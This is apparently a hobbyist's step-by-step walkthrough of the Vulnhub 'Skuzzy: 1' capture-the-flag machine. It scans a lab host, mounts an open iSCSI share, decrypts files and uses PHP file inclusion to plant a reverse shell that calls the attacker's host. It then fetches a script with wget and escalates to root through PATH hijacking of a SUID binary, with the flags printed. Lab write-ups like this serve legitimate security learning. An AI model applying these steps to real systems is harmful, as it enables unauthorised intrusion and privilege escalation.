Ew_Skuzzy: 1 Vulnhub (Spoiler Walkthrough)

**********Do NOT READ ANY FURTHER IF YOU DO NOT WISH TO KNOW HOW I COMPLETED THIS CTF OR YOU WANT TO FIFGURE IT OUT YOURSELF**********(YOU HAVE BEEN WARNED)!!!!!!!!!!!!

Using Vmware workstation 12 Pro 12.0.1 build-3160714
(Bridged Connection)

I was bored in Phoenix Az. So I decided to play around with vulnhub CTF and pick up where the HH and OUR great community left off on last nights Live stream.

Step 1)
nmap -sP -n 192.168.2.2-254

(Target machine 192.168.2.4)

Step 2)
nmap -sV -A -n 192.168.2.4

services returns
port
22/tcp open ssh
80/tcp open http
3260/tcp open iscsi

So as usual I opened my browser 192.168.2.4

(obvious clue) page tells us "You'll just have to fireup dirbuster and find out!"
let's do so

Step 3)
dirb http://192.168.2.4

you will now notice we have 3 returns (+ signs as well 200 series)

First 2 one is our home page we already viewed second has nothing so let's see if 3rd is a charm
let's now copy our link and see what we get
 + http://192.168.2.4/smblogin/custom-log/refer/del/arquivos/_archive/autodeploy/Links/pdf/portals/images3/forgotpassword/tuscany/send-password/catalog/tell_friend/queues/month/checking/mode/trap/affilliates/dba/program/font/index.html (code:200|size:257)

lionel ritchie troll displays "hello? Is It Flags You're looking for?"
viewed source of page and found some base64
Copy and pasted base64 so we can decrypt

Step 4)
nano code

Inserted code
deleted all line breaks in the code
saved

Step 5)
Now it's time to cat and decrypt our base 64 code

cat code | base64 -d

We now see our next hint
"Flags are all I've ever wanted and my prts are open wide"

Let's look at our services oh yeah remember isci? Wasn't familiar with this service so what to do you ask? Google it of course....

Our google result returns we can use a client......so shall we...

Step 6)
apt-get install open-iscsi

now once installed we need to know how to use the client
I did another google search and found a handy article to help me with this issue
here is the link http://fibrevillage.com/storage/205-iscsiadm-command-examples-on-linux

so after our research we now know a few commands let's try them out

Step 7)
Discovery
iscsiadm -m discovery -t sendtargets -p 192.168.2.4

we get an iqn result back (iqn.2017-02.local.skuzzy:storage.sys0)
for further info on definition of an iqn check this link
https://technet.microsoft.com/en-us/library/gg232633(v=ws.10).aspx

Step 8)
After our iscsi research we also learned another command we will now use to create a session
iscsiadm --mode node --targetname iqn.2017-02.local.skuzzy:storage.sys0 --portal 192.168.2.4 --login

let's me now explain the command. We were told in our hint the port is wide open therefore we do not have to authenticate

For those unfamilar with mounting disks let me explain (for noobs)
fdisk -l will show you your mounted devices currently on your system
*notice Disk /dev/sda

Now let's run our Step 8 command
 # iscsiadm --mode node --targetname iqn.2017-02.local.skuzzy:storage.sys0 --portal 192.168.2.4 --login

You will now see a new volume was created on your system 1.1gb
Now in terminal type # fdisk -l
you will now see your new disk created (Disk /dev/sdb: 1 GiB

Step 9)
okay now we need to mount our disk
first let's create a new iscsi folder in root

cd /
ls
mkdir iscsi
ls
mount /dev/sdb /iscsi
Lets check our mounted drive and see what it contains
cd /iscsi
#ls

Well behold what do we have here our first flag (flag1.txt)

Step 10)
Time to cat our new flag
cat flag.txt

okay let's move on
Hopefully you noticed in our iscsi directory a file called bobs.dsk (great obervation and you are paying attention to details)

so what is a .dsk extension lern more here https://www.lifewire.com/dsk-file-2622722
To sum it up it nothing more than a floppy disk......for some born in the 2000's you may have no idea what I am talking about but for the rest of old schoolers we know it can easily be mounted...so no worries.

Step 11)

First let' make a new dir
mkdir /bobdisk
mount bobsdisk.dsk /bobsdisk/ -t
(-t is for types) some may have get an error that the system does not understand this format
no worries here is an easy fix.....let your machine figure it out itself)
mount bosdisk.dsk /bobsdisk/ -t auto

let's see if it worked....
cd /bobsdisk/
ls
Excellent we now see 2 files ToAlice.csv.enc and ToAlice.eml
(.enc=encrypted and .eml=email "noobs")

Step 12)
cat ToAlice.eml
Yay! we now have flag 2.....Let's read this interesting email

Step 13)
The email provides us with all the clues and hints we need to deencrpt our ToAlice.csv.enc file

*symmetric keys/sha-256/-md sha-256/chain block/supercalifragilisticoespialidoso

so what comes to mind? If you said openssl you would be correct! (if unfamilar with openssl there is always to help you become more knowledgeable
https://wiki.openssl.org/index.php/Command_Line_Utilities)

openssl aes-256-cbc -d -md sha256 -in ToAlice.csv.enc -out /root/Alicedecrypt
here is explanation for the command we are using

(What is 256 bit encryption?
AES comprises three block ciphers, AES-128, AES-192 and AES-256. Each cipher encrypts and decrypts data in blocks of 128 bits using cryptographic keys of 128-, 192- and 256-bits, respectively. (Rijndael was designed to handle additional block sizes and key lengths, but the functionality was not adopted in AES.)

* so as you see we are using aes-256-cbc (Cipher Block Chain)
http://searchsecurity.techtarget.com/definition/cipher-block-chaining

* -d (decrypt)
* -md (message digest) sha256
* -in ToAlice.csv.enc (encrypted file we want to decrypt)
* -out /root/Alicedecrpt (file path of our decypted file)

so you command should look like this
openssl aes-256-cbc -d -md sha256 -in ToAlice.csv.enc -out /root/Alicedecrypt

let's see what it does
we are now prompted for a password?
Again let's refer to our email.....anything stick out?

password: supercalifragilisticoespialidoso

Yay it worked we now have our decrypted file

Step 14)

cd /root
cat Alicedecrypt

We now get our next clues and web paths
Let's see how far this rabbit holes and try our new paths

so copy and paste 5560a1468022758dba5e92ac8f2353c0
the first is just a hacker site
let's view the source
Imagine that some base64 code

let's copy it and decode to see what we find......http://base64decode.net/

Nothing much yet humorous.

okay we move on to the next web path
copy and paste c2444910794e037ebd8aaf257178c90b

Cool! we get My great web-app!
Think we shoulf try it out and see if we can break it.....let's go
welcome/flag/Let's Party!/Feed Reader

Well of course we have to check Flag most obvious or just a honeytrap?
viewed source and nothing
only thing that appears to have potential is Feed Reader with it's secret key!

Step 15)
We see this is a remote file include so let's make sure our apache is running.
service apache2 start

After trial and error of playing with a combination of keys I noticed when I tried a php-reverse-shell
(http://pentestmonkey.net/tools/web-shells/php-reverse-shell)

Feed Reader "Authentication invalid. You might need a key."
so once again I tried combination of keys....still getting nowhere and frustrated I decided to refresh my browser and view the path of Feed Reader with key.

Then I saw it.....how odd not just a standard .txt but data.txt.
http://127.0.0.1/c2444910794e037ebd8aaf257178c90b/data.txt

so I opened a new browser and copied and pasted
192.168.2.4/c2444910794e037ebd8aaf257178c90b/data.txt

We now see the .txt and the identifiers
notice the ##php## and the print function? That's our answer we can run .php code in our .txt file

okay so once again we google local file inclusion exploit
192.168.2.4/c2444910794e037ebd8aaf257178c90b/?p=php://filter/convert.base64-encode/resource=reader.php

(resource link:https://www.idontplaydarts.com/2011/02/using-php-filter-for-local-file-inclusion/)

yay! We now get a base64 version of the source code....let's copy and paste

Step 16)
let's open a new terminal
echo (insert our base64 code) | base64 -d

We now see source code great!
Let's explore our code
if we sroll down we will notice this line of code
$hashedkey = hash('sha256' , $key);
$secret = "5ccd0dbdeefbee078b88a6e52db8c1caa8dd8315f227fe1e6aee6bcb663656";

so this secret key is hashing sha256.

Now I know you remember our ToAlice.eml and the clues right?
Something About Rockyou and once again a lil google search or for many Kali users we already know of the rockyou wordlist and hashcat......
which I will post a link for info (https://uwnthesis.wordpress.com/2013/08/07/kali-how-to-crack-passwords-using-hashcat/).

This would be most common technique yet I want to try something else and show you their are lways other possibilities if you take the time and research and try.

Step 17)
So let's take a peek back at My great web-app! from earler....anyone notice anything that may help us in this situation......how about looking at the Flag and try our .php method since we were able to get some practical use from before.

192.168.2.4/c2444910794e037ebd8aaf257178c90b/?p=php://filter/convert.base64-encode/resource=flag.php
*(make sure to change to flag.php this time)

Copy and paste the base64 code again
open a new terminal
echo (insert our base64 code) | base64 -d

So what do a know we get Flag #4.....Next step. SHELL! Could we be near the end? Make sure to pay close attention to flag #4 it will all make sense at step #18 Trust me! :)
flag4{4e44db0f1edc3c361dbf54eaf4df40352db91f8b}
let's continue

Step 18)
Okay we need to get shell and we will pwn this thing.
How about trying our reverse .php shell script again what do ya thinK? Oh Yeah!

We need to make a few modifications to our code
 first let's parse ##php## to match our vm

let's make sure we have our correct ip for our shell
$ip = '192.168.2.3': //change this to your ip
$port = 4444: //change this to your preferred listening port

okay let's test this

here is my what you should have in your url

go yo file reader/load feed and copy

192.168.2.3/share/php-reverse-shell.txt&key=flag4{4e44db0f1edc3c361dbf54eaf4df40352db91f8b}

* note our last key mentioned in the code it had a security key of == '47'
here is the line of code I reference
if(isset($key) && strlen($key) == '47') {

if you notice our flag 4 is only 42 characters......but if you look flag4 is our missing 5 characters and 42 + 5 = 47 correct (Thank you miss trimble my second grde teacher)

okay let's pop this shell off now

open a new terminal so we can create our listener
netcat -nvlp 4444

okay lets try our reverse shell nd see if we get shell.....

Yay! we have a shell......should we keep going or stop and let someone else claim our bragging rights?
NOPE! That will NEVER happen......we aren't no script kiddies....:)

Step 19)

okay the shell shows
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off

We need to stablize the shell so let's use our python skills

$ python -c "import pty; pty.spawn('/bin/bash')"

we now get a stable shell yay!

www-data@skuzzy:/$ ls

looks awesome right? You are one awesome hacker! So let's finish what we came to do!

Step 20)
let's look at the privaleges

www-dat@skuzzy:/$ find / -user root -perm -4000 2>/dev/null

well once again we find something vey useful.....did you scroll to the bottom and notice what I did as well?

you guessed it /opt/alicebackup looks inviting

www-data@skuzzy:/$ cd /opt
www-data@skuzzy:opt/$ ls -l

we see
-rwsr-xr-x 1 root root
(the x means everone has root exe permissions) good to know

let's run the ./alicebackup and see what we get

wow look at that

uid=0(root) gid=0(root) groups=0(root),33(www-data)
Here we are gonna take advantage of the uid file structure
 path and ssh

Step 21)

Let's hack this box and go home!

let's use a python ssh reverse shell
python -c "import pty; pty.spawn('/bin/bash')" ***** I saved my script in my share directory ******

/opt$ cd /tmp
/tmp$ wget http://192.168.2.3/share/ssh

okay now we have to execute

www-data@skuzzy:/tmp$ mv ssh id
www-data@skuzzy:/tmp$ chmod +x id
www-data@skuzzy:/tmp$ ls -l

cool we now see
-rwxrwxrwx 1 www-data (id) <-----------------ALL redable and executable

www-data@skuzzy:/tmp$ cd/opt

let's look at our environment variables path
www-data@skuzzy:/opt$ echo $PATH

/usr/local/bin:/usr/local/sbin:/usr/bin:/usr/sbin:bin:/sbin:.

Here we will modify the path
www-data@skuzzy:/opt$ export PATH=/tmp:$PATH

www-data@skuzzy:/opt$ echo $PATH

we now see our /tmp:/ Directory has been added first
/tmp:/usr/local/bin:/usr/local/sbin:/usr/bin:/usr/sbin:bin:/sbin:.

cool now our script should now execute....let's do this....fingers crossed

www-data@skuzzy:/opt$ ./alicebackup

#whoami

WE ARE ROOT!!!!!!!!
final check.....
cd /root
ls

There it is OUR final flag.txt   YOU DID IT!!!!!!!!!! CONGRATULATIONS!!!!!!!!

cat flag.txt

flag5{42273509a79da5bf49f9d40a10c512dd96d89f6a}

Great VM @vortexau
Vortex@juicedigital.net
keep up the good work.....

Hope this walkthrough was helpful and was written up clearly for anyone could understand especially NOOBS.....If you have any questions or used another technique tht I may not hav covered please share with me and the HackHappy Community.....

Be safe and as ALWAYS smile :) "Jimmy" a.k.a. jakattackit